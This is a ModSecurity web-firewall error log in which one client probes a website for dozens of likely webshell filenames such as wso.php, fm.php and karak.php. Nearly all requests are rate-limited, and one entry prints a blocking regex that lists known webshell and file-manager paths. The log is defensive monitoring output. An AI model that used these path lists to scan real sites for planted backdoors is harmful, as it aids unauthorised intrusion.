[Tue Dec 23 20:34:25.923577 2025] [:error] [pid 11812:tid 11827] [client 20.196.109.137:13232] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aUqMUbBkIQ4nTXm4A3Ub-gAAAI0"]
[Tue Dec 23 20:34:26.461628 2025] [:error] [pid 11812:tid 11821] [client 20.196.109.137:13197] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aUqMUrBkIQ4nTXm4A3Ub-wAAAIc"]
[Tue Dec 23 20:34:27.123514 2025] [:error] [pid 54408:tid 54435] [client 20.196.109.137:13219] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUqMU2up4YbWx_MWvp1WwwAAApg"]
[Tue Dec 23 20:34:28.094133 2025] [:error] [pid 54408:tid 54411] [client 20.196.109.137:13303] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUqMVGup4YbWx_MWvp1WxAAAAoA"]
[Tue Dec 23 20:34:29.008327 2025] [:error] [pid 11812:tid 11834] [client 20.196.109.137:13213] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUqMVbBkIQ4nTXm4A3Ub_wAAAJQ"]
[Tue Dec 23 20:34:30.151691 2025] [:error] [pid 11812:tid 11818] [client 20.196.109.137:13265] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aUqMVrBkIQ4nTXm4A3UcAgAAAIQ"]
[Tue Dec 23 20:34:31.107864 2025] [:error] [pid 25976:tid 25989] [client 20.196.109.137:13310] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aUqMV7F6LaWzQScE-xN-UQAAAQs"]
[Tue Dec 23 20:34:31.946814 2025] [:error] [pid 3405:tid 3441] [client 20.196.109.137:13298] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aUqMV7dHHpIDpQ39rwlBGwAAAAQ"]
[Tue Dec 23 20:34:32.492366 2025] [:error] [pid 3404:tid 3426] [client 20.196.109.137:13205] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aUqMWMJGbPWZNlrhVJdVfgAAAdE"]
[Tue Dec 23 20:34:33.402182 2025] [:error] [pid 3497:tid 3523] [client 20.196.109.137:13133] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aUqMWezUE6hZ8LJecSsVnwAAANc"]
[Tue Dec 23 20:34:34.026315 2025] [:error] [pid 3406:tid 3481] [client 20.196.109.137:13097] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aUqMWvn8DLWxW7TPzpHmGQAAAFE"]
[Tue Dec 23 20:34:34.482419 2025] [:error] [pid 54408:tid 54423] [client 20.196.109.137:13246] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aUqMWmup4YbWx_MWvp1WygAAAow"]
[Tue Dec 23 20:34:35.476150 2025] [:error] [pid 3405:tid 3456] [client 20.196.109.137:13148] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aUqMW7dHHpIDpQ39rwlBHgAAABM"]
[Tue Dec 23 20:34:36.175862 2025] [:error] [pid 3497:tid 3500] [client 20.196.109.137:13305] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aUqMXOzUE6hZ8LJecSsVsAAAAMA"]
[Tue Dec 23 20:34:36.896952 2025] [:error] [pid 11812:tid 11814] [client 20.196.109.137:13121] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUqMXLBkIQ4nTXm4A3UcCgAAAIA"]
[Tue Dec 23 20:34:37.505539 2025] [:error] [pid 3497:tid 3524] [client 20.196.109.137:13146] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUqMXezUE6hZ8LJecSsVsQAAANg"]
[Tue Dec 23 20:34:38.373602 2025] [:error] [pid 3497:tid 3513] [client 20.196.109.137:13216] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUqMXuzUE6hZ8LJecSsVsgAAAM0"]
[Tue Dec 23 20:34:38.964398 2025] [:error] [pid 25976:tid 25982] [client 20.196.109.137:13018] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aUqMXrF6LaWzQScE-xN-dwAAAQQ"]
[Tue Dec 23 20:34:39.975647 2025] [:error] [pid 3405:tid 3446] [client 20.196.109.137:13036] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aUqMX7dHHpIDpQ39rwlBJAAAAAk"]
[Tue Dec 23 20:34:40.936091 2025] [:error] [pid 3497:tid 3507] [client 20.196.109.137:13270] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aUqMYOzUE6hZ8LJecSsVtQAAAMc"]
[Tue Dec 23 20:34:41.443636 2025] [:error] [pid 3405:tid 3444] [client 20.196.109.137:13217] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aUqMYbdHHpIDpQ39rwlBJQAAAAc"]
[Tue Dec 23 20:34:42.328970 2025] [:error] [pid 54408:tid 54420] [client 20.196.109.137:13218] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aUqMYmup4YbWx_MWvp1W1AAAAok"]
[Tue Dec 23 20:34:42.987799 2025] [:error] [pid 54375:tid 54382] [client 20.196.109.137:13129] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aUqMYp1Yro3O5R2WY-BvxAAAAkU"]
[Tue Dec 23 20:34:43.625978 2025] [:error] [pid 54340:tid 54351] [client 20.196.109.137:13102] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aUqMY5ye8-oij4iGhogobgAAAgk"]
[Tue Dec 23 20:34:44.886744 2025] [:error] [pid 3497:tid 3520] [client 20.196.109.137:13256] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aUqMZOzUE6hZ8LJecSsVtwAAANQ"]
[Tue Dec 23 20:34:47.382599 2025] [:error] [pid 54375:tid 54400] [client 20.196.109.137:13109] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aUqMZ51Yro3O5R2WY-BvxQAAAlc"]
[Tue Dec 23 20:34:49.032033 2025] [:error] [pid 54340:tid 54344] [client 20.196.109.137:13145] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUqMaZye8-oij4iGhogocQAAAgI"]
[Tue Dec 23 20:34:52.901732 2025] [:error] [pid 25976:tid 25995] [client 20.196.109.137:13123] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUqMbLF6LaWzQScE-xN-gQAAARE"]
[Tue Dec 23 20:34:56.238916 2025] [:error] [pid 3497:tid 3510] [client 20.196.109.137:13154] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUqMcOzUE6hZ8LJecSsVxgAAAMo"]
[Tue Dec 23 20:35:00.359921 2025] [:error] [pid 11812:tid 11819] [client 20.196.109.137:13037] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aUqMdLBkIQ4nTXm4A3UcEwAAAIU"]
[Tue Dec 23 20:35:53.894604 2025] [:error] [pid 3406:tid 3474] [client 20.196.109.137:13184] [client 20.196.109.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aUqMqfn8DLWxW7TPzpHmOwAAAEo"]
[Tue Dec 23 20:36:12.524935 2025] [:error] [pid 54340:tid 54366] [client 20.196.109.137:13144] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aUqMvJye8-oij4iGhogoowAAAhg"]
[Tue Dec 23 20:36:14.860717 2025] [:error] [pid 3405:tid 3444] [client 20.196.109.137:13308] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aUqMvrdHHpIDpQ39rwlBawAAAAc"]
[Tue Dec 23 20:36:17.355468 2025] [:error] [pid 3405:tid 3461] [client 20.196.109.137:13225] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aUqMwbdHHpIDpQ39rwlBbQAAABg"]
[Tue Dec 23 20:36:19.043372 2025] [:error] [pid 25976:tid 25995] [client 20.196.109.137:13269] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/nc4.php"] [unique_id "aUqMw7F6LaWzQScE-xN-uAAAARE"]
[Tue Dec 23 20:36:19.970388 2025] [:error] [pid 54340:tid 54354] [client 20.196.109.137:13193] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUqMw5ye8-oij4iGhogoqAAAAgw"]
[Tue Dec 23 20:36:21.122031 2025] [:error] [pid 3404:tid 3416] [client 20.196.109.137:13168] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUqMxcJGbPWZNlrhVJdVwwAAAcc"]
[Tue Dec 23 20:36:21.846786 2025] [:error] [pid 3404:tid 3409] [client 20.196.109.137:13139] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUqMxcJGbPWZNlrhVJdVxAAAAcA"]
[Tue Dec 23 20:36:22.415698 2025] [:error] [pid 54297:tid 54307] [client 20.196.109.137:13153] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class.php"] [unique_id "aUqMxkZMNime0caoKPKjmgAAAYY"]
[Tue Dec 23 20:36:22.901633 2025] [:error] [pid 54297:tid 54302] [client 20.196.109.137:13311] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aUqMxkZMNime0caoKPKjnAAAAYE"]
[Tue Dec 23 20:36:23.388634 2025] [:error] [pid 3404:tid 3424] [client 20.196.109.137:13100] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aUqMx8JGbPWZNlrhVJdVxQAAAc8"]
[Tue Dec 23 20:36:24.007102 2025] [:error] [pid 54408:tid 54425] [client 20.196.109.137:13245] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aUqMyGup4YbWx_MWvp1W_AAAAo4"]
[Tue Dec 23 20:36:24.805967 2025] [:error] [pid 3497:tid 3524] [client 20.196.109.137:13214] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mpvloi.php"] [unique_id "aUqMyOzUE6hZ8LJecSsWFgAAANg"]
[Tue Dec 23 20:36:25.157614 2025] [:error] [pid 3405:tid 3445] [client 20.196.109.137:13209] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aUqMybdHHpIDpQ39rwlBcgAAAAg"]
[Tue Dec 23 20:36:25.824433 2025] [:error] [pid 3404:tid 3421] [client 20.196.109.137:13236] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aUqMycJGbPWZNlrhVJdVxwAAAcw"]
[Tue Dec 23 20:36:26.606944 2025] [:error] [pid 11812:tid 11837] [client 20.196.109.137:13149] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aUqMyrBkIQ4nTXm4A3UcPAAAAJc"]
[Tue Dec 23 20:36:27.528686 2025] [:error] [pid 3405:tid 3451] [client 20.196.109.137:13304] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v1.php"] [unique_id "aUqMy7dHHpIDpQ39rwlBdQAAAA4"]
[Tue Dec 23 20:36:28.484841 2025] [:error] [pid 3406:tid 3487] [client 20.196.109.137:13289] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUqMzPn8DLWxW7TPzpHmSQAAAFc"]
[Tue Dec 23 20:36:29.685919 2025] [:error] [pid 54375:tid 54384] [client 20.196.109.137:13235] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUqMzZ1Yro3O5R2WY-Bv_QAAAkc"]
[Tue Dec 23 20:36:31.594063 2025] [:error] [pid 3404:tid 3417] [client 20.196.109.137:13248] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUqMz8JGbPWZNlrhVJdVywAAAcg"]
[Tue Dec 23 20:36:32.490624 2025] [:error] [pid 3405:tid 3442] [client 20.196.109.137:13199] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v2.php"] [unique_id "aUqM0LdHHpIDpQ39rwlBeAAAAAU"]
[Tue Dec 23 20:36:33.325691 2025] [:error] [pid 11812:tid 11825] [client 20.196.109.137:13259] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aUqM0bBkIQ4nTXm4A3UcQgAAAIs"]
[Tue Dec 23 20:36:34.122635 2025] [:error] [pid 54375:tid 54392] [client 20.196.109.137:13306] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aUqM0p1Yro3O5R2WY-BwAwAAAk8"]
[Tue Dec 23 20:36:35.941213 2025] [:error] [pid 54375:tid 54395] [client 20.196.109.137:13207] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aUqM051Yro3O5R2WY-BwBAAAAlI"]
[Tue Dec 23 20:36:37.462137 2025] [:error] [pid 3404:tid 3425] [client 20.196.109.137:13141] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dex.php"] [unique_id "aUqM1cJGbPWZNlrhVJdV0QAAAdA"]
[Tue Dec 23 20:36:38.370838 2025] [:error] [pid 11812:tid 11817] [client 20.196.109.137:13307] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aUqM1rBkIQ4nTXm4A3UcRgAAAIM"]
